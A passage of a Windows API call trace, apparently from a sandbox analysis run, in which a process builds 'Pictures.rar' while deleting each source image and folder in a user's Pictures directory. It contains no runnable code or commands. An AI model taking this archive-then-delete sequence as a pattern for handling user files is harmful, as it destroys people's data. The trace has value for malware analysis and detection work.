0xa67274 [0067.424] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14276441160) returned 1 [0067.424] GetTickCount () returned 0xa67274 [0067.424] GetTickCount () returned 0xa67274 [0067.424] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.424] PeekMessageW (in: lpMsg=0x16d460, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d460) returned 0 [0067.424] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.424] DeleteFileW (lpFileName="FF-GXA22K-J\\i--dke3Y4B2pF6twr.bmp" (normalized: "c:\\users\\whuoxysd\\pictures\\ff-gxa22k-j\\i--dke3y4b2pf6twr.bmp")) returned 1 [0067.425] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.425] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.425] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.425] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.425] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.425] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.425] SetWindowTextW (hWnd=0x1024c, lpString="i--dke3Y4B2pF6twr.bmp") returned 1 [0067.425] GetTickCount () returned 0xa67274 [0067.425] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.425] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.425] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.425] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.425] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="i--dke3Y4B2pF6twr.bmp") returned 21 [0067.425] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.426] GetTickCount () returned 0xa67274 [0067.426] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14276608894) returned 1 [0067.426] GetTickCount () returned 0xa67274 [0067.426] GetTickCount () returned 0xa67274 [0067.426] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.426] DeleteFileW (lpFileName="FF-GXA22K-J\\FKAF idlRz23ptJ2k-O.bmp" (normalized: "c:\\users\\whuoxysd\\pictures\\ff-gxa22k-j\\fkaf idlrz23ptj2k-o.bmp")) returned 1 [0067.426] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.426] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.426] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.426] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.427] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.427] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.427] SetWindowTextW (hWnd=0x1024c, lpString="FKAF idlRz23ptJ2k-O.bmp") returned 1 [0067.427] GetTickCount () returned 0xa67274 [0067.427] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.427] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.427] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.427] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.427] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="FKAF idlRz23ptJ2k-O.bmp") returned 23 [0067.427] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.427] GetTickCount () returned 0xa67274 [0067.427] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14276773280) returned 1 [0067.427] GetTickCount () returned 0xa67274 [0067.427] GetTickCount () returned 0xa67274 [0067.427] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.427] DeleteFileW (lpFileName="FF-GXA22K-J\\23KKWJn4X.jpg" (normalized: "c:\\users\\whuoxysd\\pictures\\ff-gxa22k-j\\23kkwjn4x.jpg")) returned 1 [0067.428] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.428] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.428] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.428] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.428] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.428] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.428] SetWindowTextW (hWnd=0x1024c, lpString="23KKWJn4X.jpg") returned 1 [0067.428] GetTickCount () returned 0xa67274 [0067.428] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.429] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.429] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.429] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.429] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="23KKWJn4X.jpg") returned 13 [0067.429] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.429] GetTickCount () returned 0xa67274 [0067.429] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14276934834) returned 1 [0067.429] GetTickCount () returned 0xa67274 [0067.429] GetTickCount () returned 0xa67274 [0067.429] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.429] RemoveDirectoryW (lpPathName="FF-GXA22K-J" (normalized: "c:\\users\\whuoxysd\\pictures\\ff-gxa22k-j")) returned 1 [0067.470] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.470] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.470] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.470] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.470] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.470] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.470] SetWindowTextW (hWnd=0x1024c, lpString="FF-GXA22K-J") returned 1 [0067.470] GetTickCount () returned 0xa672a3 [0067.470] UpdateWindow (hWnd=0x10244) returned 1 [0067.470] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.470] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.470] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.470] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.470] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="FF-GXA22K-J") returned 11 [0067.470] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.471] GetTickCount () returned 0xa672a3 [0067.471] GetLastError () returned 0x5 [0067.471] SetLastError (dwErrCode=0x5) [0067.471] GetDlgItem (hDlg=0x10244, nIDDlgItem=158) returned 0x10250 [0067.471] GetDlgItem (hDlg=0x10244, nIDDlgItem=153) returned 0x1024e [0067.471] GetWindowTextW (in: hWnd=0x1024e, lpString=0x16baf0, nMaxCount=2560 | out: lpString=" 42%") returned 5 [0067.471] SetWindowTextW (hWnd=0x1024e, lpString=" 69%") returned 1 [0067.471] SendMessageW (hWnd=0x10250, Msg=0x402, wParam=0x45, lParam=0x0) returned 0x2a [0067.471] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14281143490) returned 1 [0067.471] GetTickCount () returned 0xa672a3 [0067.471] GetTickCount () returned 0xa672a3 [0067.471] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 1 [0067.471] GetMessageW (in: lpMsg=0x16d390, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d390) returned 1 [0067.471] GetFocus () returned 0x0 [0067.471] TranslateMessage (lpMsg=0x16d390) returned 0 [0067.471] DispatchMessageW (lpMsg=0x16d390) returned 0x0 [0067.471] SetFileAttributesW (lpFileName="desktop.ini", dwFileAttributes=0x0) returned 1 [0067.471] DeleteFileW (lpFileName="desktop.ini" (normalized: "c:\\users\\whuoxysd\\pictures\\desktop.ini")) returned 1 [0067.472] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.472] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.472] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.472] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.472] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.472] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.472] SetWindowTextW (hWnd=0x1024c, lpString="desktop.ini") returned 1 [0067.472] GetTickCount () returned 0xa672a3 [0067.472] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.472] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.472] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.472] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.472] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="desktop.ini") returned 11 [0067.473] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.473] GetTickCount () returned 0xa672a3 [0067.473] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14281310595) returned 1 [0067.473] GetTickCount () returned 0xa672a3 [0067.473] GetTickCount () returned 0xa672a3 [0067.473] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 1 [0067.473] GetMessageW (in: lpMsg=0x16d390, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d390) returned 1 [0067.473] GetFocus () returned 0x0 [0067.473] TranslateMessage (lpMsg=0x16d390) returned 0 [0067.473] DispatchMessageW (lpMsg=0x16d390) returned 0x0 [0067.473] DeleteFileW (lpFileName="atyP90aK6HDTB.png" (normalized: "c:\\users\\whuoxysd\\pictures\\atyp90ak6hdtb.png")) returned 1 [0067.474] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.474] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.474] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.474] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.474] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.474] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.474] SetWindowTextW (hWnd=0x1024c, lpString="atyP90aK6HDTB.png") returned 1 [0067.474] GetTickCount () returned 0xa672a3 [0067.474] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.474] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.474] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.474] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.474] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="atyP90aK6HDTB.png") returned 17 [0067.474] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.475] GetTickCount () returned 0xa672a3 [0067.475] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14281508045) returned 1 [0067.475] GetTickCount () returned 0xa672a3 [0067.475] GetTickCount () returned 0xa672a3 [0067.475] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.475] DeleteFileW (lpFileName="6so3uw\\kSdj3VO3TR7ki6gTEs.gif" (normalized: "c:\\users\\whuoxysd\\pictures\\6so3uw\\ksdj3vo3tr7ki6gtes.gif")) returned 1 [0067.475] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.475] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.475] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.475] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.476] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.476] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.476] SetWindowTextW (hWnd=0x1024c, lpString="kSdj3VO3TR7ki6gTEs.gif") returned 1 [0067.476] GetTickCount () returned 0xa672a3 [0067.476] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.476] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.476] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.476] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.476] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="kSdj3VO3TR7ki6gTEs.gif") returned 22 [0067.476] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.476] GetTickCount () returned 0xa672a3 [0067.476] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14281668608) returned 1 [0067.476] GetTickCount () returned 0xa672a3 [0067.476] GetTickCount () returned 0xa672a3 [0067.476] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.476] DeleteFileW (lpFileName="6so3uw\\F6rd1F-UBg20OJcO.bmp" (normalized: "c:\\users\\whuoxysd\\pictures\\6so3uw\\f6rd1f-ubg20ojco.bmp")) returned 1 [0067.477] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.477] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.477] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.477] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.477] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.477] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.477] SetWindowTextW (hWnd=0x1024c, lpString="F6rd1F-UBg20OJcO.bmp") returned 1 [0067.477] GetTickCount () returned 0xa672a3 [0067.477] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.477] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.477] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.478] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.478] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="F6rd1F-UBg20OJcO.bmp") returned 20 [0067.478] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.478] GetTickCount () returned 0xa672a3 [0067.478] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14281976511) returned 1 [0067.479] GetTickCount () returned 0xa672a3 [0067.479] GetTickCount () returned 0xa672a3 [0067.479] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.480] DeleteFileW (lpFileName="6so3uw\\c0kYrk2r.gif" (normalized: "c:\\users\\whuoxysd\\pictures\\6so3uw\\c0kyrk2r.gif")) returned 1 [0067.480] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.480] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.480] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.480] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.480] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.480] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.480] SetWindowTextW (hWnd=0x1024c, lpString="c0kYrk2r.gif") returned 1 [0067.481] GetTickCount () returned 0xa672a3 [0067.481] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.481] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.481] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.481] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.481] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="c0kYrk2r.gif") returned 12 [0067.481] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.481] GetTickCount () returned 0xa672a3 [0067.481] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14282152613) returned 1 [0067.481] GetTickCount () returned 0xa672a3 [0067.481] GetTickCount () returned 0xa672a3 [0067.481] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.481] DeleteFileW (lpFileName="6so3uw\\9Cnbfi2a\\_J-TfTf8bux6i5ev.jpg" (normalized: "c:\\users\\whuoxysd\\pictures\\6so3uw\\9cnbfi2a\\_j-tftf8bux6i5ev.jpg")) returned 1 [0067.482] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.482] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.482] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.482] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.482] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.482] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.482] SetWindowTextW (hWnd=0x1024c, lpString="_J-TfTf8bux6i5ev.jpg") returned 1 [0067.482] GetTickCount () returned 0xa672a3 [0067.482] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.482] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.482] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.483] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.483] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="_J-TfTf8bux6i5ev.jpg") returned 20 [0067.483] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.483] GetTickCount () returned 0xa672a3 [0067.483] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14282315654) returned 1 [0067.483] GetTickCount () returned 0xa672a3 [0067.483] GetTickCount () returned 0xa672a3 [0067.483] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.483] DeleteFileW (lpFileName="6so3uw\\9Cnbfi2a\\RIcQ1EmpXOwuZfKzm7T.bmp" (normalized: "c:\\users\\whuoxysd\\pictures\\6so3uw\\9cnbfi2a\\ricq1empxowuzfkzm7t.bmp")) returned 1 [0067.484] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.484] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.484] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.484] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.485] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.485] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.485] SetWindowTextW (hWnd=0x1024c, lpString="RIcQ1EmpXOwuZfKzm7T.bmp") returned 1 [0067.485] GetTickCount () returned 0xa672b2 [0067.485] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.485] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.485] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.485] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.485] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="RIcQ1EmpXOwuZfKzm7T.bmp") returned 23 [0067.485] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.485] GetTickCount () returned 0xa672b2 [0067.485] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14282572515) returned 1 [0067.485] GetTickCount () returned 0xa672b2 [0067.485] GetTickCount () returned 0xa672b2 [0067.485] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 1 [0067.485] GetMessageW (in: lpMsg=0x16d390, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d390) returned 1 [0067.485] GetFocus () returned 0x0 [0067.485] TranslateMessage (lpMsg=0x16d390) returned 0 [0067.485] DispatchMessageW (lpMsg=0x16d390) returned 0x0 [0067.486] DeleteFileW (lpFileName="6so3uw\\9Cnbfi2a\\mwTl5gGRtX.png" (normalized: "c:\\users\\whuoxysd\\pictures\\6so3uw\\9cnbfi2a\\mwtl5ggrtx.png")) returned 1 [0067.486] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.486] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.486] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.486] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.486] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.486] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.486] SetWindowTextW (hWnd=0x1024c, lpString="mwTl5gGRtX.png") returned 1 [0067.487] GetTickCount () returned 0xa672b2 [0067.487] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.487] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.487] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.487] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.487] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="mwTl5gGRtX.png") returned 14 [0067.487] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.487] GetTickCount () returned 0xa672b2 [0067.487] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14282739711) returned 1 [0067.487] GetTickCount () returned 0xa672b2 [0067.487] GetTickCount () returned 0xa672b2 [0067.487] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 1 [0067.487] GetMessageW (in: lpMsg=0x16d390, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d390) returned 1 [0067.487] GetFocus () returned 0x0 [0067.487] TranslateMessage (lpMsg=0x16d390) returned 0 [0067.487] DispatchMessageW (lpMsg=0x16d390) returned 0x0 [0067.487] DeleteFileW (lpFileName="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif" (normalized: "c:\\users\\whuoxysd\\pictures\\6so3uw\\9cnbfi2a\\jzmmznm0qb06bugb_ob.gif")) returned 1 [0067.488] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.488] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.488] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.488] SetWindowTextW (hWnd=0x1024a, lpString="Deleting") returned 1 [0067.488] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.488] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16a370, nMaxCount=2560 | out: lpString="") returned 0 [0067.488] SetWindowTextW (hWnd=0x1024c, lpString="JzMMZnM0QB06bugb_OB.gif") returned 1 [0067.488] GetTickCount () returned 0xa672b2 [0067.488] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0067.488] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16c020, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.488] SetWindowTextW (hWnd=0x1024a, lpString="") returned 1 [0067.488] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0067.488] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16c020, nMaxCount=2560 | out: lpString="JzMMZnM0QB06bugb_OB.gif") returned 23 [0067.489] SetWindowTextW (hWnd=0x1024c, lpString="") returned 1 [0067.489] GetTickCount () returned 0xa672b2 [0067.489] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14282918907) returned 1 [0067.489] GetTickCount () returned 0xa672b2 [0067.489] GetTickCount () returned 0xa672b2 [0067.489] PeekMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d400) returned 0 [0067.489] DeleteFileW (lpFileName="6so3uw\\9Cnbfi2a\\B5WGJFxuORhJIbLXl.jpg" (normalized: "c:\\users\\whuoxysd\\pictures\\6so3uw\\9cnbfi2a\\b5wgjfxuorhjiblxl.jpg")) returned 1 [0067.489] GetWindowTextW (in: hWnd=0x10244, lpString=0x16b7c0, nMaxCount=512 | out: lpString="Creating archive 